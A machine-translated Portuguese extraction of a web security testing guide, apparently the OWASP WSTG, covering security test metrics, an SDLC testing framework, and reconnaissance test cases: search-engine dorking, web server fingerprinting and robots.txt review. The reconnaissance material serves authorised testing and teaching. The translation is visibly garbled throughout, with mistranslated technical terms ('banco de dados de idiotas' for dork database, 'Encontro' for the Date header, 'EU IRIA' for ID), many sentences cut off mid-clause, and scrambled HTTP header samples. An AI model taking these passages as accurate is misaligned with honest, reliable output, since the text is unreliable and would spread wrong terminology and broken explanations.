da análise de código-fonte e teste de penetração, essas técnicas incluem, por exemplo: código-fonte e injeção de falha binária, análise de
propagação de falha e cobertura de código, teste fuzz e engenharia reversa. O guia de teste de segurança deve fornecer procedimentos e
ferramentas recomendadas que podem ser usadas pelos testadores de segurança para realizar essas avaliações de segurança detalhadas.
O próximo nível de teste de segurança após os testes do sistema de integração é realizar testes de segurança no ambiente de aceitação do
usuário. Existem vantagens exclusivas na realização de testes de segurança no ambiente operacional. O ambiente de teste de aceitação do
usuário (UAT) é o mais representativo da configuração de lançamento, com exceção dos dados (por exemplo, dados de teste são usados no
lugar de dados reais). Uma característica do teste de segurança no UAT é testar
Machine Translated by Google
32
problemas de configuração de segurança. Em alguns casos, essas vulnerabilidades podem representar altos riscos. Por exemplo, o servidor que
hospeda o aplicativo da web pode não estar configurado com privilégios mínimos, certificado SSL válido e configuração segura, serviços essenciais
desativados e diretório raiz da web limpo de páginas da web de teste e administração.
Outra meta gerenciável poderia ser comparar a postura de segurança do aplicativo com uma linha de base para avaliar as melhorias nos processos
de segurança do aplicativo. Por exemplo, a linha de base das métricas de segurança pode consistir em um aplicativo que foi testado apenas com
testes de penetração. Os dados de segurança obtidos de um aplicativo que também foi testado durante a codificação devem mostrar uma melhoria
(por exemplo, menos vulnerabilidades) quando comparados com os
linha de base.
No teste de software tradicional, o número de defeitos de software, como os bugs encontrados em um aplicativo, pode fornecer uma medida da
qualidade do software. Da mesma forma, o teste de segurança pode fornecer uma medida de segurança de software. Do ponto de vista do
gerenciamento e relatório de defeitos, o teste de segurança e qualidade de software pode usar categorizações semelhantes para causas raiz e
esforços de correção de defeitos. Da perspectiva da causa raiz, um defeito de segurança pode ser devido a um erro no projeto (por exemplo, falhas
de segurança) ou devido a um erro na codificação (por exemplo, bug de segurança). Do ponto de vista do esforço necessário para corrigir um defeito,
os defeitos de segurança e qualidade podem ser medidos em termos de horas do desenvolvedor para implementar a correção, as ferramentas e os
recursos necessários e o custo para implementar a correção.
Uma característica dos dados de teste de segurança, em comparação com os dados de qualidade, é a categorização em termos de ameaça, exposição
da vulnerabilidade e impacto potencial representado pela vulnerabilidade para determinar o risco. Testar aplicativos para segurança consiste em
gerenciar riscos técnicos para garantir que as contramedidas do aplicativo atendam a níveis aceitáveis. Por esse motivo, os dados de teste de
segurança precisam oferecer suporte à estratégia de risco de segurança em pontos de verificação críticos durante o SDLC. Por exemplo,
vulnerabilidades encontradas no código-fonte com análise de código-fonte representam uma medida inicial de risco.
Uma medida de risco (por exemplo, alto, médio, baixo) para a vulnerabilidade pode ser calculada determinando os fatores de exposição e probabilidade
e validando a vulnerabilidade com testes de penetração. As métricas de risco associadas às vulnerabilidades encontradas nos testes de segurança
capacitam a gestão de negócios a tomar decisões de gerenciamento de riscos, como decidir se os riscos podem ser aceitos, mitigados ou transferidos
em diferentes níveis dentro da organização (por exemplo, riscos comerciais e técnicos).
Ao avaliar a postura de segurança de um aplicativo, é importante levar em consideração alguns fatores, como o tamanho do aplicativo que está sendo
desenvolvido. Foi comprovado estatisticamente que o tamanho do aplicativo está relacionado ao número de problemas encontrados no aplicativo
durante o teste. Como o teste reduz os problemas, é lógico que aplicativos de tamanho maior sejam testados com mais frequência do que aplicativos
de tamanho menor.
Quando o teste de segurança é feito em várias fases do SDLC, os dados do teste podem provar a capacidade dos testes de segurança em detectar
vulnerabilidades assim que são introduzidas. Os dados de teste também podem provar a eficácia da remoção das vulnerabilidades implementando
contramedidas em diferentes pontos de verificação do SDLC. Uma medição desse tipo também é definida como “métrica de contenção” e fornece uma
medida da capacidade de uma avaliação de segurança realizada em cada fase do processo de desenvolvimento para manter a segurança em cada
fase. Essas métricas de contenção também são um fator crítico para reduzir o custo de correção das vulnerabilidades. É mais barato lidar com as
vulnerabilidades na mesma fase do SDLC em que foram encontradas, em vez de corrigi-las posteriormente em outra fase.
As métricas de teste de segurança podem oferecer suporte à análise de gerenciamento de riscos, custos e defeitos de segurança quando associadas
a metas tangíveis e cronometradas, como:
Correção de problemas de segurança em um determinado prazo (por exemplo, antes do lançamento beta).
Machine Translated by Google
33
Os dados do teste de segurança podem ser absolutos, como o número de vulnerabilidades detectadas durante a revisão manual do código, bem como comparativos, como o
número de vulnerabilidades detectadas nas revisões de código em comparação com os testes de penetração. Para responder a perguntas sobre a qualidade do processo de
segurança, é importante determinar uma linha de base para o que pode ser considerado aceitável e bom.
Os dados de teste de segurança também podem oferecer suporte a objetivos específicos da análise de segurança. Esses objetivos podem ser conformidade com regulamentos
de segurança e padrões de segurança da informação, gerenciamento de processos de segurança, identificação de causas raiz de segurança e melhorias de processo e análise de
custo-benefício de segurança.
Quando os dados de teste de segurança são relatados, eles devem fornecer métricas para dar suporte à análise. O escopo da análise é a interpretação dos dados de teste para
encontrar pistas sobre a segurança do software que está sendo produzido, bem como a eficácia do processo.
Alguns exemplos de pistas suportadas por dados de teste de segurança podem ser:
Que tipo de teste de segurança é mais eficaz para encontrar vulnerabilidades (por exemplo, testes de caixa branca versus caixa preta)?
Para fazer um bom julgamento usando os dados de teste, é importante ter um bom entendimento do processo de teste, bem como das ferramentas de teste. Uma taxonomia de
ferramenta deve ser adotada para decidir quais ferramentas de segurança usar. As ferramentas de segurança podem ser qualificadas como boas para encontrar vulnerabilidades
É importante observar que problemas de segurança desconhecidos não são testados. O fato de um teste de segurança estar livre de problemas não significa que o software ou
Mesmo as ferramentas de automação mais sofisticadas não são páreo para um testador de segurança experiente. Confiar apenas nos resultados de testes bem-sucedidos de
ferramentas automatizadas dará aos profissionais de segurança uma falsa sensação de segurança. Normalmente, quanto mais experientes os testadores de segurança tiverem
com a metodologia e as ferramentas de teste de segurança, melhores serão os resultados do teste e da análise de segurança. É importante que os gestores que investem em
ferramentas de testes de segurança considerem também o investimento na contratação de recursos humanos qualificados, bem como treinamento em testes de segurança.
segurança de um aplicativo pode ser caracterizada do ponto de vista do efeito, como número de vulnerabilidades e classificação de risco das vulnerabilidades, bem como do ponto
de vista da causa ou origem, como erros de codificação, falhas de arquitetura e problemas de configuração.
As vulnerabilidades podem ser classificadas de acordo com diferentes critérios. A métrica de gravidade de vulnerabilidade mais comumente usada é o Common Vulnerability
Scoring System (CVSS), um padrão mantido pelo Forum of Incident Response and Security Teams (FIRST).
gravidade de cada vulnerabilidade (por exemplo, pontuação alta, média, baixa ou CVSS).
Ao descrever qual é a ameaça à segurança, será possível entender se e por que o controle de mitigação é ineficaz para mitigar a ameaça.
Relatar a causa raiz do problema pode ajudar a identificar o que precisa ser corrigido. No caso de teste de caixa branca, por exemplo, a causa raiz da
vulnerabilidade de segurança de software será o código-fonte ofensivo.
Depois que os problemas são relatados, também é importante fornecer orientação ao desenvolvedor de software sobre como testar novamente e encontrar
a vulnerabilidade. Isso pode envolver o uso de uma técnica de teste de caixa branca (por exemplo, revisão de código de segurança com um analisador de
código estático) para descobrir se o código é vulnerável. Se uma vulnerabilidade puder ser encontrada por meio de um teste de penetração de caixa preta,
o relatório de teste também precisará fornecer informações sobre como validar a exposição da vulnerabilidade ao front-end (por exemplo, cliente).
As informações sobre como corrigir a vulnerabilidade devem ser detalhadas o suficiente para que um desenvolvedor implemente uma correção. Ele deve
fornecer exemplos de codificação segura, alterações de configuração e fornecer referências adequadas.
Finalmente, a classificação de gravidade contribui para o cálculo da classificação de risco e ajuda a priorizar o esforço de remediação.
Normalmente, atribuir uma classificação de risco à vulnerabilidade envolve análise de risco externa com base em fatores como impacto e exposição.
Casos de negócios
Para que as métricas de teste de segurança sejam úteis, elas precisam fornecer valor de volta às partes interessadas dos dados de teste de segurança da
organização. As partes interessadas podem incluir gerentes de projeto, desenvolvedores, escritórios de segurança da informação, auditores e diretores de
informações. O valor pode ser em termos do caso de negócios que cada parte interessada do projeto possui, em termos de função e responsabilidade.
Os desenvolvedores de software analisam os dados de teste de segurança para mostrar que o software é codificado de forma segura e eficiente. Isso
permite que eles defendam o uso de ferramentas de análise de código-fonte, seguindo padrões de codificação seguros e participando de treinamento de
segurança de software.
Os gerentes de projeto procuram dados que lhes permitam gerenciar e utilizar com sucesso atividades e recursos de teste de segurança de acordo com o
plano do projeto. Para os gerentes de projeto, os dados de teste de segurança podem mostrar que os projetos estão dentro do cronograma e seguindo as
datas de entrega e estão melhorando durante os testes.
Os dados de teste de segurança também ajudam no caso de negócios para testes de segurança se a iniciativa vier dos oficiais de segurança da informação
(ISOs). Por exemplo, ele pode fornecer evidências de que o teste de segurança durante o SDLC não afeta a entrega do projeto, mas reduz a carga de
trabalho geral necessária para lidar com vulnerabilidades posteriormente na produção.
Para auditores de conformidade, as métricas de teste de segurança fornecem um nível de garantia de segurança de software e confiança de que a
conformidade com o padrão de segurança é abordada por meio dos processos de revisão de segurança dentro da organização.
Finalmente, Chief Information Officers (CIOs) e Chief Information Security Officers (CISOs), que são responsáveis pelo orçamento que precisa ser alocado
em recursos de segurança, buscam derivar uma análise de custo-benefício a partir de dados de teste de segurança. Isso permite que eles tomem decisões
informadas sobre quais atividades e ferramentas de segurança investir. Uma das métricas que suportam essa análise é o retorno sobre o investimento
(ROI) em segurança. Para derivar essas métricas de dados de teste de segurança, é importante quantificar o diferencial entre o risco, devido à exposição
de vulnerabilidades, e a eficácia dos testes de segurança na mitigação do risco de segurança e, em seguida, fatorar essa lacuna com o custo da segurança
atividade de teste ou as ferramentas de teste adotadas.
Referências
Pesquisa do Instituto Nacional de Padrões dos EUA (NIST) de 2002 sobre o custo de software inseguro para a economia dos EUA devido a testes
de software inadequados
Machine Translated by Google
35
Visão geral
Esta seção descreve uma estrutura de teste típica que pode ser desenvolvida dentro de uma organização. Pode ser visto como uma estrutura de referência
composta por técnicas e tarefas apropriadas em várias fases do ciclo de vida de desenvolvimento de software (SDLC). Empresas e equipes de projeto podem
usar esse modelo para desenvolver sua própria estrutura de teste e definir o escopo dos serviços de teste de fornecedores. Essa estrutura não deve ser vista
como prescritiva, mas como uma abordagem flexível que pode ser estendida e moldada para se adequar ao processo de desenvolvimento e à cultura de uma
organização.
Esta seção visa ajudar as organizações a construir um processo de teste estratégico completo e não se destina a consultores ou contratados que tendem a se
É fundamental entender por que a construção de uma estrutura de teste de ponta a ponta é crucial para avaliar e melhorar a segurança do software. Em Writing
Secure Code, Howard e LeBlanc observam que a emissão de um boletim de segurança custa à Microsoft pelo menos US$ 100.000, e seus clientes coletivamente
custam muito mais do que isso para implementar os patches de segurança. Eles também observam que o site de crimes cibernéticos do governo dos EUA
detalha casos criminais recentes e a perda para as organizações. As perdas típicas excedem em muito US$ 100.000.
Com economia como esta, não é de admirar por que os fornecedores de software passam de testes de segurança de caixa-preta, que só podem ser executados
em aplicativos que já foram desenvolvidos, para se concentrar em testes nos primeiros ciclos de desenvolvimento de aplicativos, como durante definição, projeto
e desenvolvimento.
Muitos profissionais de segurança ainda veem os testes de segurança no campo dos testes de penetração. Conforme discutido no capítulo anterior, embora o
teste de penetração tenha um papel a desempenhar, geralmente é ineficiente para encontrar bugs e depende excessivamente da habilidade do testador. Deve
ser considerado apenas como uma técnica de implementação ou para aumentar a conscientização sobre questões de produção. Para melhorar a segurança dos
aplicativos, a qualidade de segurança do software deve ser aprimorada. Isso significa testar a segurança durante os estágios de definição, design,
desenvolvimento, implantação e manutenção, e não depender da dispendiosa estratégia de esperar até que o código seja totalmente criado.
Conforme discutido na introdução deste documento, existem muitas metodologias de desenvolvimento, como o Rational Unified Process, o desenvolvimento
eXtreme e Agile e as tradicionais metodologias em cascata. A intenção deste guia não é sugerir uma metodologia de desenvolvimento específica, nem fornecer
orientações específicas que sigam qualquer metodologia específica. Em vez disso, estamos apresentando um modelo de desenvolvimento genérico, e o leitor
Durante o desenvolvimento,
Durante a implantação e
desenvolvimento diretrizes e políticas que podem ser seguidas. As pessoas só podem fazer a coisa certa
Machine Translated by Google
37
Se o aplicativo for desenvolvido em Java, é essencial que haja um padrão de codificação seguro Java. Se a aplicação for usar criptografia, é essencial que exista um
padrão de criptografia. Nenhuma política ou padrão pode cobrir todas as situações que a equipe de desenvolvimento enfrentará. Ao documentar os problemas comuns
processo quanto no produto. É essencial definir as métricas antes de iniciar o desenvolvimento, pois pode haver a necessidade de modificar o processo para capturar
os dados.
neste caso, significa testar as suposições feitas nos requisitos e testar se há lacunas nas definições dos requisitos.
Por exemplo, se houver um requisito de segurança que determine que os usuários devem ser registrados antes de poderem acessar a seção de whitepapers de um
site, isso significa que o usuário deve ser registrado no sistema ou deve ser autenticado? Certifique-se de que os requisitos sejam tão inequívocos quanto possível.
Ao procurar por lacunas de requisitos, considere olhar para os mecanismos de segurança, como:
gerenciamento de usuários
Autenticação
Autorização
Integridade
Responsabilidade
Gerenciamento de sessão
segurança de transporte
Conformidade com a legislação e com os padrões (incluindo privacidade, governo e padrões do setor)
É essencial testar esses artefatos para garantir que o design e a arquitetura imponham o nível apropriado de segurança conforme definido nos requisitos.
A identificação de falhas de segurança na fase de design não é apenas um dos locais mais econômicos para identificar falhas, mas também um dos locais mais
eficazes para fazer alterações. Por exemplo, se for identificado que o projeto exige que as decisões de autorização sejam tomadas em vários locais, pode ser
apropriado considerar um componente de autorização central. Se o aplicativo estiver executando a validação de dados em vários locais, pode ser apropriado
desenvolver uma estrutura de validação central (ou seja, fixar a validação de entrada em um local, em vez de centenas de locais, é muito mais barato).
Se pontos fracos forem descobertos, eles devem ser fornecidos ao arquiteto do sistema para abordagens alternativas.
alguns casos, estes podem já estar disponíveis. Use esses modelos para confirmar com os projetistas de sistemas um entendimento exato de como o aplicativo
funciona. Se pontos fracos forem descobertos, eles devem ser fornecidos ao arquiteto do sistema para abordagens alternativas.
Machine Translated by Google
38
Armado com análises de design e arquitetura e modelos UML que explicam exatamente como o sistema funciona, faça um exercício de modelagem de
ameaças. Desenvolva cenários realistas de ameaças. Analise o design e a arquitetura para garantir que essas ameaças tenham sido mitigadas, aceitas pela
empresa ou atribuídas a terceiros, como uma seguradora. Quando as ameaças identificadas não tiverem estratégias de mitigação, revise o design e a
arquitetura com o arquiteto de sistemas para modificar o design.
O objetivo não é realizar uma revisão de código, mas entender em alto nível o fluxo, o layout e a estrutura do código que compõe a aplicação.
Armado com um bom entendimento de como o código é estruturado e por que certas coisas foram codificadas da maneira que foram, o testador agora pode
examinar o código real em busca de defeitos de segurança.
OWASP ou Top 10 Checklists para exposições técnicas (dependendo da profundidade da revisão); Questões específicas
relacionadas à linguagem ou estrutura em uso, como o papel Scarlet para PHP ou as listas de verificação do Microsoft Secure Coding para ASP.NET; e
Quaisquer requisitos específicos do setor, como Sarbanes-Oxley 404, COPPA, ISO/IEC 27002, APRA, HIPAA, diretrizes da Visa Merchant ou outros
regimes regulatórios.
Em termos de retorno sobre os recursos investidos (principalmente tempo), as revisões estáticas de código produzem retornos de qualidade muito mais alta
do que qualquer outro método de revisão de segurança e dependem menos da habilidade do revisor. No entanto, eles não são uma bala de prata e precisam
ser considerados cuidadosamente em um regime de teste de espectro total.
Para obter mais detalhes sobre as listas de verificação OWASP, consulte a última edição do OWASP Top 10.
de penetração do aplicativo
Depois de testar os requisitos, analisar o design e realizar a revisão do código, pode-se presumir que todos os problemas foram detectados. Esperançosamente,
este é o caso, mas o teste de penetração do aplicativo depois de implantado fornece uma verificação adicional para garantir que nada foi perdido.
Devem ser realizadas verificações de integridade mensais ou trimestrais no aplicativo e na infraestrutura para garantir que nenhum novo
risco de segurança tenha sido introduzido e que o nível de segurança ainda esteja intacto.
Resumo
Guias de teste OWASP
Guia de teste de segurança da Web (WSTG)
Interações pré-engajamento
Coleta de informações
Modelagem de Ameaças
Análise de Vulnerabilidade
Exploração
Pós-exploração
Comunicando
DSS refere-se ao requisito 11.3 do padrão de segurança de dados do setor de cartões de pagamento (PCI DSS)
Descoberta e Sondagem
Enumeração
quebra de senha
Avaliação de vulnerabilidade
Auditoria AS/400
Segurança VoIP
Penetração sem fio
Segurança física
Guia Técnico para Teste e Avaliação de Segurança da Informação O Guia Técnico para Teste e Avaliação de Segurança
da Informação (NIST 800-115) foi publicado pelo NIST e inclui algumas técnicas de avaliação listadas abaixo.
Técnicas de revisão
Atividades pós-teste
de segurança humana, teste de segurança física, teste de segurança sem fio, teste de segurança de telecomunicações, teste de segurança de redes de dados e conformidade.
O OSSTMM pode ser uma referência de suporte da ISO 27001 em vez de um guia de teste de penetração de aplicativo prático ou técnico.
Análise de segurança
Análise de confiança
Fluxo de Trabalho
Regulamentos de Conformidade
Referências
Padrão de segurança de dados PCI - Orientação de teste de penetração
Padrão PTES
Manual de Metodologia de Teste de Segurança de Código Aberto (OSSTMM)
Guide
Kali LinuxGenericName
Esta seção descreve a metodologia de teste de segurança de aplicativos da Web OWASP e explica como testar evidências de vulnerabilidades no
aplicativo devido a deficiências nos controles de segurança identificados.
O que é um Teste?
Um teste é uma ação para demonstrar que um aplicativo atende aos requisitos de segurança de seus stakeholders.
Aberto: todo especialista em segurança pode participar com sua experiência no projeto. Tudo é gratuito.
Colaborativo: o brainstorming é feito antes da redação dos artigos para que a equipe possa compartilhar ideias e desenvolver uma visão
coletiva do projeto. Isso significa um consenso aproximado, um público mais amplo e maior participação.
Essa abordagem tende a criar uma Metodologia de Teste definida que será:
Consistente
Reprodutível
Rigoroso
Os problemas a serem resolvidos são totalmente documentados e testados. É importante usar um método para testar todas as vulnerabilidades
conhecidas e documentar todas as atividades de teste de segurança.
Teste passivo
Durante o teste passivo, um testador tenta entender a lógica do aplicativo e explora o aplicativo como um usuário. Ferramentas podem ser usadas para coleta
de informações. Por exemplo, um proxy HTTP pode ser usado para observar todas as solicitações e respostas HTTP. No final desta fase, o testador geralmente
deve entender todos os pontos de acesso e funcionalidade do sistema (por exemplo, cabeçalhos HTTP, parâmetros, cookies, APIs, uso/padrões de tecnologia,
etc). A seção Coleta de informações explica como realizar testes passivos.
Por exemplo, um testador pode encontrar uma página no seguinte URL: https://www.example.com/login/auth_form
Isso pode indicar um formulário de autenticação em que o aplicativo solicita um nome de usuário e uma senha.
Neste caso, o aplicativo mostra dois pontos de acesso (parâmetros a e b ). Todos os pontos de entrada encontrados nesta fase representam um alvo para
teste. Manter o controle do diretório ou da árvore de chamadas do aplicativo e de todos os pontos de acesso pode ser útil durante o teste ativo.
teste ativo, um testador começa a usar as metodologias descritas nas seções a seguir.
Obtendo informações
Teste de Autenticação
Teste de autorização
Manipulação de erros
Criptografia
Teste de API
Machine Translated by Google
47
EU IRIA
WSTG-INFO-01
Resumo
Para que os mecanismos de pesquisa funcionem, os programas de computador (ou robôs ) buscam dados regularmente (chamados de rastreamento de bilhões de
páginas na web. Esses programas encontram o conteúdo e a funcionalidade da Web seguindo os links de outras páginas ou observando os mapas do site. Se um site
usa um arquivo especial chamado robots.txt para listar as páginas que não deseja que os mecanismos de pesquisa busquem, as páginas listadas ali serão ignoradas.
Esta é uma visão geral básica - o Google oferece uma explicação mais detalhada de como funciona um mecanismo de pesquisa.
Os testadores podem usar mecanismos de pesquisa para realizar reconhecimento em sites e aplicativos da web. Existem elementos diretos e indiretos para a
descoberta e reconhecimento do mecanismo de pesquisa: os métodos diretos se relacionam com a pesquisa de índices e o conteúdo associado dos caches, enquanto
os métodos indiretos se relacionam com o aprendizado de design sensível e informações de configuração pesquisando fóruns, grupos de notícias e sites de licitação.
Depois que um robô de mecanismo de pesquisa conclui o rastreamento, ele começa a indexar o conteúdo da Web com base em tags e atributos associados, como
<TITLE> , para retornar resultados de pesquisa relevantes. Se o arquivo robots.txt não for atualizado durante o tempo
de vida do site e não tiverem sido usadas metatags HTML in-line que instruem os robôs a não indexar conteúdo, é possível que os índices contenham conteúdo da
Web não destinado a ser incluídos pelos proprietários. Os proprietários de sites podem usar as meta tags HTML robots.txt mencionadas anteriormente , autenticação e
, conteúdo.
ferramentas fornecidas pelos mecanismos de pesquisa para remover esse
Objetivos do teste
Identifique quais informações confidenciais de design e configuração do aplicativo, sistema ou organização são expostas diretamente (no site da organização) ou
Como testar
Use um mecanismo de pesquisa para procurar informações potencialmente confidenciais. Isso pode incluir:
Mecanismos de pesquisa
Não limite o teste a apenas um provedor de mecanismo de pesquisa, pois diferentes mecanismos de pesquisa podem gerar resultados diferentes.
Os resultados do mecanismo de pesquisa podem variar de algumas maneiras, dependendo de quando o mecanismo rastreou o conteúdo pela última vez e do algoritmo
que o mecanismo usa para determinar as páginas relevantes. Considere usar os seguintes mecanismos de pesquisa (listados em ordem alfabética):
Bing, um mecanismo de pesquisa de propriedade e operado pela Microsoft, e o segundo mais popular no mundo todo. Suporta palavras-chave de pesquisa
avançada.
Machine Translated by Google
49
Rastreamento Comum, “um repositório aberto de dados de rastreamento da web que pode ser acessado e analisado por qualquer pessoa.”
DuckDuckGo, um mecanismo de pesquisa com foco na privacidade que compila resultados de várias fontes diferentes. Suporta sintaxe de pesquisa .
Google, que oferece o mais popular do mundo mecanismo de pesquisa e usa um sistema de classificação para tentar retornar os resultados mais
relevantes. Suporta operadores de pesquisa.
Internet Archive Wayback Machine, “construir uma biblioteca digital de sites da Internet e outros artefatos culturais em formato digital”.
Página inicial, um mecanismo de pesquisa que usa os resultados do Google sem coletar informações pessoais por meio de rastreadores e logs.
Suporta operadores de pesquisa.
Shodan, um serviço para pesquisar dispositivos e serviços conectados à Internet. As opções de uso incluem um plano gratuito limitado, bem como
planos de assinatura pagos.
Tanto o DuckDuckGo quanto o Startpage oferecem maior privacidade aos usuários, não utilizando rastreadores ou mantendo registros. Isso pode reduzir
o vazamento de informações sobre o testador.
Operadores de pesquisa
Um operador de pesquisa é uma palavra-chave ou sintaxe especial que estende os recursos de consultas de pesquisa regulares e pode ajudar a obter
resultados mais específicos. Eles geralmente assumem a forma de operator:query . Aqui estão alguns operadores de pesquisa comumente suportados:
Por exemplo, para encontrar o conteúdo da web de owasp.org conforme indexado por um mecanismo de pesquisa típico, a sintaxe necessária é:
site:owasp.org
Machine Translated by Google
50
pesquisar conteúdo que foi indexado anteriormente, use o cache: operador. Isso é útil para visualizar o conteúdo que pode ter mudado desde o momento em que foi
indexado ou que pode não estar mais disponível. Nem todos os mecanismos de pesquisa fornecem conteúdo em cache para pesquisa; a fonte mais útil no momento em
cache:owasp.org
Os operadores podem ser encadeados para descobrir com eficácia tipos específicos de arquivos e informações confidenciais. Essa técnica, chamada de hacking do
Google ou Dorking, também é possível usando outros mecanismos de pesquisa, desde que os operadores de pesquisa sejam suportados.
Um banco de dados de idiotas, como o Google Hacking Database, é um recurso útil que pode ajudar a descobrir informações específicas. Algumas categorias de idiotas
pontos de apoio
Diretórios confidenciais
Arquivos Vulneráveis
Servidores Vulneráveis
Mensagens de erro
Bancos de dados para outros mecanismos de busca, como Bing e Shodan, estão disponíveis em recursos como o Projeto Hacking Diggity do Bishop
Fox.
Remediação
Considere cuidadosamente a confidencialidade das informações de design e configuração antes de serem publicadas online.
Revise periodicamente a confidencialidade das informações existentes de design e configuração publicadas online.
Machine Translated by Google
52
EU IRIA
WSTG-INFO-02
Resumo
A impressão digital do servidor da Web é a tarefa de identificar o tipo e a versão do servidor da Web em que um destino está sendo executado. Embora a
impressão digital do servidor da Web geralmente seja encapsulada em ferramentas de teste automatizadas, é importante que os pesquisadores entendam
os fundamentos de como essas ferramentas tentam identificar o software e por que isso é útil.
Descobrir com precisão o tipo de servidor da Web no qual um aplicativo é executado pode permitir que os testadores de segurança determinem se o
aplicativo é vulnerável a ataques. Em particular, os servidores que executam versões mais antigas de software sem patches de segurança atualizados
podem ser suscetíveis a explorações específicas de versões conhecidas.
Objetivos do teste
Determine a versão e o tipo de um servidor da Web em execução para permitir a descoberta adicional de quaisquer vulnerabilidades conhecidas.
Como testar
As técnicas usadas para impressão digital do servidor da Web incluem captura de banner, obter respostas a solicitações malformadas e usar ferramentas
automatizadas para realizar varreduras mais robustas que usam uma combinação de táticas. A premissa fundamental pela qual todas essas técnicas
operam é a mesma. Todos eles se esforçam para obter alguma resposta do servidor da Web que pode ser comparada a um banco de dados de respostas
e comportamentos conhecidos e, portanto, correspondida a um tipo de servidor conhecido.
captura de banner é executada enviando uma solicitação HTTP para o servidor da Web e examinando seu cabeçalho de resposta. Isso pode ser feito
usando uma variedade de ferramentas, incluindo telnet para solicitações HTTP ou openssl para solicitações por SSL.
HTTP/1.1 200 OK
Data: quinta-feira, 05 de setembro de 2019
17:42:39 GMT Servidor: Apache/2.4.41 (Unix)
Última modificação: quinta-feira, 05 de setembro de 2019 17:40:42 GMT
ETag: "75-591d1d21b6167"
Accept-Ranges: bytes
Content-Length: 117
Connection: close
Tipo de conteúdo: texto/html
...
HTTP/1.1 200 OK
Servidor: nginx/1.17.3 Data:
quinta-feira, 05 de setembro de 2019 17:50:24 GMT Tipo
de conteúdo: text/html Comprimento do conteúdo: 117
Última modificação: quinta-feira, 05 de setembro de 2019
17:40:42 GMT Conexão: fechar
HTTP/1.0 200 OK
Tipo de conteúdo: texto/html
Faixas de aceitação: bytes
Marca ET : "4192788355"
Última modificação: quinta-feira, 05 de setembro de 2019 17:40:42 GMT
Comprimento do conteúdo: 117
Conexão: fechar
Data: quinta-feira, 05 de setembro de 2019 17:57:57
GMT Servidor: lighttpd/1.4.54
Nesses exemplos, o tipo e a versão do servidor são claramente expostos. No entanto, aplicativos preocupados com a segurança podem ofuscar as
informações do servidor modificando o cabeçalho. Por exemplo, aqui está um trecho da resposta a uma solicitação de um site com um cabeçalho modificado:
HTTP/1.1 200 OK
Servidor: Site.com
Data: quinta-feira, 05 de setembro de 2019 17:57:06 GMT
Tipo de conteúdo: texto/html; conjunto de caracteres = utf-8
Estado: 200 OK
...
Nos casos em que as informações do servidor são obscurecidas, os testadores podem adivinhar o tipo de servidor com base na ordem dos campos de
cabeçalho. Observe que no exemplo do Apache acima, os campos seguem esta ordem:
Encontro
Servidor
Última modificação
ETag
Faixas de aceitação
Comprimento do conteúdo
Conexão
Tipo de conteúdo
No entanto, nos exemplos de servidor nginx e obscurecido, os campos em comum seguem esta ordem:
Servidor
Encontro
Tipo de conteúdo
Os testadores podem usar essas informações para adivinhar que o servidor obscuro é nginx. No entanto, considerando que vários servidores web diferentes
podem compartilhar a mesma ordem de campo e os campos podem ser modificados ou removidos, esse método não é
definido.
servidores da Web podem ser identificados examinando suas respostas de erro e, nos casos em que não foram personalizados, suas páginas de erro
padrão. Uma maneira de obrigar um servidor a apresentá-los é enviando solicitações intencionalmente incorretas ou malformadas.
Machine Translated by Google
54
Por exemplo, aqui está a resposta a uma solicitação do método inexistente SANTA CLAUS de um servidor Apache.
<html>
<head><title>404 não encontrado</title></head>
<body>
<center><h1>404 não encontrado</h1></center>
<hr><center>nginx/1.17.3</center> </body>
</html>
<body>
<h1>400 Pedido inválido</h1> </
body> </html>
Como as páginas de erro padrão oferecem muitos fatores diferenciadores entre os tipos de servidores da Web, seu exame pode ser um método
eficaz para impressões digitais, mesmo quando os campos de cabeçalho do servidor estão obscurecidos.
Machine Translated by Google
55
Conforme declarado anteriormente, a impressão digital do servidor da Web é frequentemente incluída como uma funcionalidade das ferramentas automatizadas de
verificação. Essas ferramentas são capazes de fazer requisições semelhantes às demonstradas acima, bem como enviar outras sondagens mais específicas do servidor.
As ferramentas automatizadas podem comparar as respostas dos servidores da Web com muito mais rapidez do que o teste manual e utilizar grandes bancos de dados de
respostas conhecidas para tentar a identificação do servidor. Por esses motivos, as ferramentas automatizadas têm maior probabilidade de produzir resultados precisos.
Aqui estão algumas ferramentas de verificação comumente usadas que incluem a funcionalidade de impressão digital do servidor da web.
Netcraft, uma ferramenta online que verifica sites em busca de informações, incluindo o servidor da web.
Nikto, uma ferramenta de varredura de linha de comando de código aberto.
Nmap, uma ferramenta de linha de comando de código aberto que também possui uma GUI, Zenmap.
Remediação
Embora as informações do servidor expostas não sejam necessariamente uma vulnerabilidade em si, são informações que podem ajudar os invasores a explorar outras
vulnerabilidades que possam existir. As informações do servidor expostas também podem levar os invasores a encontrar vulnerabilidades de servidor específicas da versão que
podem ser usadas para explorar servidores não corrigidos. Por esse motivo, recomenda-se que alguns cuidados sejam tomados. Essas ações incluem:
Usando um servidor proxy reverso reforçado para criar uma camada adicional de segurança entre o servidor web e o
Internet.
Garantir que os servidores da Web sejam mantidos atualizados com os softwares e patches de segurança mais recentes.
Machine Translated by Google
56
EU IRIA
WSTG-INFO-03
Resumo
Esta seção descreve como testar vários arquivos de metadados quanto ao vazamento de informações do(s) caminho(s) ou funcionalidade
do aplicativo da web. Além disso, a lista de diretórios que devem ser evitados por Spiders, Robots ou Crawlers também pode ser criada
como uma dependência para os caminhos de execução do Map através do aplicativo. Outras informações também podem ser coletadas
para identificar a superfície de ataque, detalhes de tecnologia ou para uso em engajamento de engenharia social.
Objetivos do teste
Identifique caminhos e funcionalidades ocultos ou ofuscados por meio da análise de arquivos de metadados.
Extraia e mapeie outras informações que possam levar a uma melhor compreensão dos sistemas em questão.
Como testar
Qualquer uma das ações executadas abaixo com wget também pode ser feita com curl . Muitas ferramentas DAST (Dynamic
Application Security Testing), como ZAP e Burp Suite, incluem verificações ou análises desses recursos como parte de sua
funcionalidade spider/crawler. Eles também podem ser identificados usando vários Google Dorks ou aproveitando os recursos de
pesquisa avançada, como inurl: .
robôs
Aranhas da Web, robôs ou rastreadores recuperam uma página da Web e, em seguida, percorrem hiperlinks recursivamente para recuperar
mais conteúdo da Web. Seu comportamento aceito é especificado pelo Protocolo de Exclusão de Robôs do robots.txt arquivo no diretório
raiz da web.
Como exemplo, o início do arquivo robots.txt do Google amostrado em 5 de maio de 2020 é citado abaixo:
*
Agente de usuário:
Não permitir: /search
Permitir: /pesquisa/sobre
Permitir: /search/static
Permitir: /search/howsearchworks
Não permitir: /sdch
...
O agente do usuário diretiva refere-se ao web spider/robô/crawler específico. Por exemplo, User-Agent: Googlebot refere-se ao spider
